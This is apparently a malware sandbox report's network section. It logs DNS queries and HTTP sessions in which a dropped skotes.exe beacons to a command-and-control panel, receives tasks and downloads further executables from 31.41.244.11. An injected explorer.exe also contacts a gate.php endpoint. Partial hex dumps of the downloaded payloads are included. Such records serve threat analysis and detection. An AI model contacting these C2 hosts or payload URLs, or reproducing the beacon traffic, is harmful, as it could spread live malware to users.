Dec 14, 2024 14:57:41.185480118 CET	1.1.1.1	192.168.2.5	0x9f75	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:41.279036045 CET	1.1.1.1	192.168.2.5	0x3061	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:43.843843937 CET	1.1.1.1	192.168.2.5	0xd6d9	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:57:43.843843937 CET	1.1.1.1	192.168.2.5	0xd6d9	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:44.153857946 CET	1.1.1.1	192.168.2.5	0xff87	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:57:44.153857946 CET	1.1.1.1	192.168.2.5	0xff87	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:57:44.153891087 CET	1.1.1.1	192.168.2.5	0xff87	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:57:44.153891087 CET	1.1.1.1	192.168.2.5	0xff87	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:57:52.727930069 CET	1.1.1.1	192.168.2.5	0x6649	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:59.113385916 CET	1.1.1.1	192.168.2.5	0x5cba	Name error (3)	se-blurry.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:59.254272938 CET	1.1.1.1	192.168.2.5	0x7933	Name error (3)	zinc-sneark.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:59.393115044 CET	1.1.1.1	192.168.2.5	0x925d	Name error (3)	dwell-exclaim.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:59.534029007 CET	1.1.1.1	192.168.2.5	0x4b67	Name error (3)	formy-spill.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:59.673156023 CET	1.1.1.1	192.168.2.5	0xdc74	Name error (3)	covery-mover.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:59.813478947 CET	1.1.1.1	192.168.2.5	0x572e	Name error (3)	dare-curbys.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:57:59.952976942 CET	1.1.1.1	192.168.2.5	0x79da	Name error (3)	print-vexer.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:58:00.186207056 CET	1.1.1.1	192.168.2.5	0x2e39	Name error (3)	impend-differ.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:58:10.778211117 CET	1.1.1.1	192.168.2.5	0xaf20	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:58:34.224869013 CET	1.1.1.1	192.168.2.5	0x3c51	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:58:35.628093958 CET	1.1.1.1	192.168.2.5	0x427b	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:58:35.628093958 CET	1.1.1.1	192.168.2.5	0x427b	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:58:35.772531033 CET	1.1.1.1	192.168.2.5	0x7755	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:58:35.772531033 CET	1.1.1.1	192.168.2.5	0x7755	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:58:35.976200104 CET	1.1.1.1	192.168.2.5	0x3e02	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:58:35.976200104 CET	1.1.1.1	192.168.2.5	0x3e02	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:59:55.629499912 CET	1.1.1.1	192.168.2.5	0xc668	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:59:55.770617962 CET	1.1.1.1	192.168.2.5	0xfc05	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Dec 14, 2024 14:59:57.152503967 CET	1.1.1.1	192.168.2.5	0x7b88	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 14:59:57.152503967 CET	1.1.1.1	192.168.2.5	0x7b88	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 14, 2024 15:00:13.939188957 CET	1.1.1.1	192.168.2.5	0xc1c6	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Dec 14, 2024 15:00:15.444348097 CET	1.1.1.1	192.168.2.5	0xa46	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 15:00:15.444348097 CET	1.1.1.1	192.168.2.5	0xa46	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 14, 2024 15:02:11.612673998 CET	1.1.1.1	192.168.2.5	0xa704	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 15:02:11.612673998 CET	1.1.1.1	192.168.2.5	0xa704	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 14, 2024 15:02:11.612701893 CET	1.1.1.1	192.168.2.5	0x4925	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 14, 2024 15:02:11.782547951 CET	1.1.1.1	192.168.2.5	0x6824	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 14, 2024 15:02:11.783678055 CET	1.1.1.1	192.168.2.5	0xf941	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 15:02:11.783678055 CET	1.1.1.1	192.168.2.5	0xf941	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 14, 2024 15:02:13.023330927 CET	1.1.1.1	192.168.2.5	0xdfc2	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 15:02:13.023330927 CET	1.1.1.1	192.168.2.5	0xdfc2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 14, 2024 15:02:37.279356003 CET	1.1.1.1	192.168.2.5	0x52	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Dec 14, 2024 15:02:37.429644108 CET	1.1.1.1	192.168.2.5	0xf4fc	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Dec 14, 2024 15:04:15.595247030 CET	1.1.1.1	192.168.2.5	0xb988	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Dec 14, 2024 15:04:15.763675928 CET	1.1.1.1	192.168.2.5	0x7436	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Dec 14, 2024 15:04:16.988173008 CET	1.1.1.1	192.168.2.5	0x1904	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 15:04:16.988173008 CET	1.1.1.1	192.168.2.5	0x1904	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49816	185.215.113.43	80	5396	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:04.281903982 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 14, 2024 14:56:05.610454082 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:56:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49827	185.215.113.43	80	5396	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:07.239542961 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 30 32 37 37 35 42 37 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB02775B75F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 14, 2024 14:56:08.607816935 CET	1088	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:56:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 38 31 0d 0a 20 3c 63 3e 31 30 31 35 31 39 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 33 32 65 63 62 31 38 31 62 65 37 30 33 62 31 31 64 31 33 30 33 37 65 63 65 65 39 63 35 31 34 39 33 39 38 39 61 35 35 33 36 65 36 23 31 30 31 35 32 30 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 33 37 61 39 65 34 64 31 35 65 66 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 35 32 30 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 39 36 61 38 30 35 31 34 35 62 30 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 35 32 30 32 30 30 31 2b 2b 2b 62 35 [TRUNCATED] Data Ascii: 381 <c>1015193001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb932ecb181be703b11d13037ecee9c51493989a5536e6#1015200001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc37a9e4d15ef02ab5e45425197d1aa1daaa8#1015201001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1015202001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1015203001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1015204001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1015205001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1015206001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbce71914e54a61cf64d4a485a9592e100b7#1015207001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9a28c1161fea0ab61d16036db9c6e00e83b59a5536e6#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49828	31.41.244.11	80	5396	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:08.735884905 CET	66	OUT	GET /files/8199790517/K6UAlAU.exe HTTP/1.1 Host: 31.41.244.11
Dec 14, 2024 14:56:10.075624943 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:56:09 GMT Content-Type: application/octet-stream Content-Length: 309760 Last-Modified: Sat, 14 Dec 2024 13:01:45 GMT Connection: keep-alive ETag: "675d81b9-4ba00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 63 eb 5a 1e 27 8a 34 4d 27 8a 34 4d 27 8a 34 4d 2e f2 a7 4d 24 8a 34 4d 27 8a 35 4d 2b 8a 34 4d 48 fc 9f 4d 2d 8a 34 4d 48 fc ae 4d 26 8a 34 4d 48 fc a9 4d 26 8a 34 4d 52 69 63 68 27 8a 34 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 5a 73 5d 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0a 00 00 3a 00 00 00 34 00 00 00 00 00 00 68 34 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 00 05 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$cZ'4M'4M'4M.M$4M'5M+4MHM-4MHM&4MHM&4MRich'4MPEdZs]g":4h4@@r((XPh.textj8: `.rdata$P$>@@.data@.pdataXb@@.rsrc(f@@.x64PPj
Dec 14, 2024 14:56:10.075741053 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 89 54 24 10 48 89 4c 24 08 48 83 ec 18 48 8b 44 24 20 48 89 44 24 08 48 8b 44 24 Data Ascii: T$HL$HHD$ HD$HD$=MZt3VHD$Hc@<HL$ HHH$HD$ H9$s3/D$(HL$ HH9$v3H$8PEt3H$HHL$H8HIj?HIH
Dec 14, 2024 14:56:10.075773001 CET	1236	IN	Data Raw: 15 52 3f 00 00 48 89 44 24 20 48 83 7c 24 20 00 74 0b 48 8b 4c 24 40 ff 54 24 20 eb 02 33 c0 48 83 c4 38 c3 cc cc cc cc cc cc cc cc cc cc cc 44 89 44 24 18 89 54 24 10 48 89 4c 24 08 48 81 ec b8 00 00 00 44 8b 84 24 d0 00 00 00 33 d2 b9 3a 00 00 Data Ascii: R?HD$ H\|$ tHL$@T$ 3H8DD$T$HL$HD$3:&?H$H$uH$D$h\|$huz$H$H$H$uIH$@=Lu\|$h uH$@=d
Dec 14, 2024 14:56:10.075808048 CET	1236	IN	Data Raw: 05 ce 6a 00 00 48 8d 05 f7 45 00 00 48 89 05 b0 6a 00 00 48 8d 05 51 45 00 00 48 89 05 9a 6a 00 00 48 8d 05 7f 46 00 00 48 89 05 b4 6a 00 00 48 c7 44 24 28 00 00 00 00 48 8d 15 74 46 00 00 48 8d 0d 7d 46 00 00 e8 d4 fe ff ff 48 89 05 d1 6a 00 00 Data Ascii: jHEHjHQEHjHFHjHD$(HtFH}FHjHzFHFHjHFHFHjHzFHFHjHxFH}FHjHzFH{FHwjHtFHyFHejHrF
Dec 14, 2024 14:56:10.075841904 CET	1236	IN	Data Raw: e3 47 00 00 e8 92 fa ff ff 48 89 05 2f 69 00 00 48 8d 15 e0 47 00 00 48 8d 0d e9 47 00 00 e8 78 fa ff ff 48 89 05 1d 69 00 00 48 8d 15 e6 47 00 00 48 8d 0d f7 47 00 00 e8 5e fa ff ff 48 89 05 0b 69 00 00 48 8d 15 f4 47 00 00 48 8d 0d fd 47 00 00 Data Ascii: GH/iHGHGxHiHGHG^HiHGHGDHhHGHH*HhHHHHHhHHHHHhHHH%HHhH"HH3HHgH0HHAH
Dec 14, 2024 14:56:10.075874090 CET	1236	IN	Data Raw: 00 00 48 8d 15 92 49 00 00 48 8d 0d a3 49 00 00 e8 b2 f5 ff ff 48 89 05 8f 62 00 00 48 8d 15 a0 49 00 00 48 8d 0d b1 49 00 00 e8 98 f5 ff ff 48 89 05 7d 62 00 00 48 8d 15 ae 49 00 00 48 8d 0d bf 49 00 00 e8 7e f5 ff ff 48 89 05 6b 62 00 00 48 8d Data Ascii: HIHIHbHIHIH}bHIHI~HkbHIHIdHYbHIHIJHGbHIHI0H5bHIHIH#bHIHIHIaHIHIHaHI
Dec 14, 2024 14:56:10.075906038 CET	1236	IN	Data Raw: 8b 4c 24 38 ff 15 e5 5d 00 00 48 8b 4c 24 50 ff 15 da 5d 00 00 48 8b 44 24 58 48 83 c4 78 c3 44 88 44 24 18 89 54 24 10 48 89 4c 24 08 48 83 ec 28 44 8b 44 24 38 48 8b 54 24 30 48 8d 0d 65 48 00 00 ff 15 bf 5e 00 00 b0 01 48 83 c4 28 c3 cc cc cc Data Ascii: L$8]HL$P]HD$XHxDD$T$HL$H(DD$8HT$0HeH^H(DD$T$HL$H(DD$8HT$0HuH^H(DD$T$HL$H(DD$8HT$0HH?^H(L$WH$
Dec 14, 2024 14:56:10.075961113 CET	1120	IN	Data Raw: 24 10 01 00 00 48 8b 8c 24 20 01 00 00 ff 15 40 5a 00 00 48 89 84 24 60 03 00 00 48 83 bc 24 60 03 00 00 00 75 18 41 b8 00 80 00 00 33 d2 48 8b 4c 24 60 ff 15 72 58 00 00 e9 f2 04 00 00 48 8b 84 24 f0 00 00 00 8b 40 54 48 c7 44 24 20 00 00 00 00 Data Ascii: $H$ @ZH$`H$`uA3HL$`rXH$@THD$ DLD$`H$H$ YuA3HL$`$X$P$P$PH$@9$PHD$pHc@<HL$`HHHc$PHk(HH$H
Dec 14, 2024 14:56:10.076064110 CET	1236	IN	Data Raw: 00 00 00 48 83 c0 30 48 8b 8c 24 f8 03 00 00 48 83 c1 10 48 c7 44 24 20 00 00 00 00 41 b9 08 00 00 00 4c 8b c0 48 8b d1 48 8b 8c 24 20 01 00 00 ff 15 7d 55 00 00 48 8b 84 24 f0 00 00 00 8b 40 28 48 8b 8c 24 60 03 00 00 48 03 c8 48 8b c1 48 89 84 Data Ascii: H0H$HHD$ ALHH$ }UH$@(H$`HHH$PH$PH$H$pH$(fUuA3HL$`S:H$(7UuA3HL$`SA3HL$`{SH_H8H?HD$ LD$ 33
Dec 14, 2024 14:56:10.076114893 CET	1236	IN	Data Raw: eb 02 32 c0 48 83 c4 38 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 38 48 8d 0d 1d 52 00 00 e8 a8 06 00 00 48 8d 15 f5 51 00 00 48 8d 0d 0a 52 00 00 e8 05 11 00 00 48 89 05 1e 54 00 00 48 c7 44 24 28 00 00 00 00 c7 44 24 20 00 00 00 00 Data Ascii: 2H8H8HRHQHRHTHD$(D$ E3L33QPNH8Hx3H$`H$`uYD$ 8HT$ H$`t-DD$([QHXQHT$ H$`a
Dec 14, 2024 14:56:10.196150064 CET	1236	IN	Data Raw: 15 86 4c 00 00 33 c9 ff 15 de 4a 00 00 33 c0 48 81 c4 78 02 00 00 c3 cc cc cc cc cc cc cc cc cc cc cc cc 33 c0 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 44 89 4c 24 20 4c 89 44 24 18 48 89 54 24 10 48 89 4c 24 08 33 c0 c3 cc 48 89 4c 24 08 48 8b Data Ascii: L3J3Hx3DL$ LD$HT$HL$3HL$HD$iHL$HD$HL$WH3f$`H$bH3$pHL$PJLuCfD$PD$Pf$`:f$b\f$d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49839	185.215.113.43	80	5396	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:13.333214045 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 35 31 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015193001&unit=246122658369
Dec 14, 2024 14:56:14.678689003 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:56:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49845	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:14.136658907 CET	263	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Dec 14, 2024 14:56:15.494874001 CET	257	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:56:14 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 40 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 66 39 65 33 62 63 39 33 61 64 33 35 38 38 34 33 31 35 31 32 31 37 37 37 35 35 35 62 36 36 30 65 66 64 66 66 30 30 38 63 Data Ascii: f9e3bc93ad35884315121777555b660efdff008c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49846	31.41.244.11	80	5396	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:56:14.800143957 CET	62	OUT	GET /files/hell911/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 14, 2024 14:56:16.151916981 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:56:15 GMT Content-Type: application/octet-stream Content-Length: 2660864 Last-Modified: Thu, 12 Dec 2024 23:33:40 GMT Connection: keep-alive ETag: "675b72d4-289a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ed d3 a7 12 a9 b2 c9 41 a9 b2 c9 41 a9 b2 c9 41 e2 ca ca 40 a3 b2 c9 41 e2 ca cc 40 27 b2 c9 41 e2 ca cd 40 bd b2 c9 41 b8 34 ca 40 bd b2 c9 41 b8 34 cd 40 bb b2 c9 41 b8 34 cc 40 8f b2 c9 41 e2 ca c8 40 aa b2 c9 41 a9 b2 c8 41 fa b2 c9 41 2a 34 c1 40 a8 b2 c9 41 2a 34 36 41 a8 b2 c9 41 2a 34 cb 40 a8 b2 c9 41 52 69 63 68 a9 b2 c9 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 85 59 56 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 2a 00 b0 24 00 00 f2 03 00 00 00 00 00 c9 01 24 00 00 10 00 00 00 c0 24 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$AAA@A@'A@A4@A4@A4@A@AAA4@A46AA4@ARichAPELYVg$$$@(dm)@%(@%%@(%p%@$.text2$$ `.rdata^$`$@@.data %%@.rsrc%@%%@@.reloc@((@B
Dec 14, 2024 14:56:16.151932001 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 83 ec 48 53 8b 5d 14 8b c1 56 8b 75 18 0f bf cb 81 c6 2a 3f 18 59 Data Ascii: UHS]Vu?YM}6/MWUEEKEE?YEbE,EQTEnxEELsE1};EzE.EE6/u}uTE7K+E\m
Dec 14, 2024 14:56:16.151952028 CET	1236	IN	Data Raw: 66 98 76 b9 f4 97 d4 41 0f b7 c0 89 45 e4 8d 87 31 7d 3b ac 89 45 d4 8d 87 d4 4c c6 73 89 5d 14 b3 7d 89 45 e8 8d 42 c2 c7 45 f0 31 30 34 c5 c7 45 d8 5a de 60 5a e9 f3 07 00 00 83 ff 7a 7c 58 8a 5d 10 8d 41 11 88 45 ff 81 c2 c7 a7 00 00 0f bf 05 Data Ascii: fvAE1};ELs]}EBE104EZ`Zz\|X]AE(e.UU)(ef(effE+MEEOGvp(e_(eE6/+(eU (Ei(e.]]E;#RE
Dec 14, 2024 14:56:16.151968956 CET	1236	IN	Data Raw: ee 15 59 34 38 28 0d ca 28 65 00 05 d2 51 e6 54 81 6d 0c 10 6f 00 00 8a 5d 10 89 45 d8 b8 3b 3c ea f6 2b 05 f4 28 65 00 89 45 f0 b8 31 7d 3b ac 2b c2 c6 45 d0 00 81 45 f4 09 ff 00 00 c7 45 ec 09 ff 00 00 89 45 d4 89 75 18 e9 11 03 00 00 3d 36 2f Data Ascii: Y48((eQTmo]E;<+(eE1};+EEEEu=6/E}bEiQTL(e]M(e6/Mv"Ky}u(e*?YE(e,>EiE+ME,ug(e6/
Dec 14, 2024 14:56:16.151978016 CET	1236	IN	Data Raw: 02 4d f8 66 d3 3d ec 28 65 00 8b 15 c0 28 65 00 8b 4d 10 d3 ea 0f af d0 b8 6f c9 00 00 5f 5e 5b 89 15 c0 28 65 00 8b e5 5d c2 1c 00 66 3b 45 e4 73 52 8b 45 f8 01 3d d8 28 65 00 0f b7 d0 8b c2 0f b6 c9 0f af 05 c4 28 65 00 5f a3 c4 28 65 00 0f b6 Data Ascii: Mf=(e(eMo_^[(e]f;EsRE=(e(e_(e(e(eXX(e^(eo(e[]E;Ev"(eE_(eo^[]E;Eu%E5(e__(eo^[];Eu$(q-(e+f
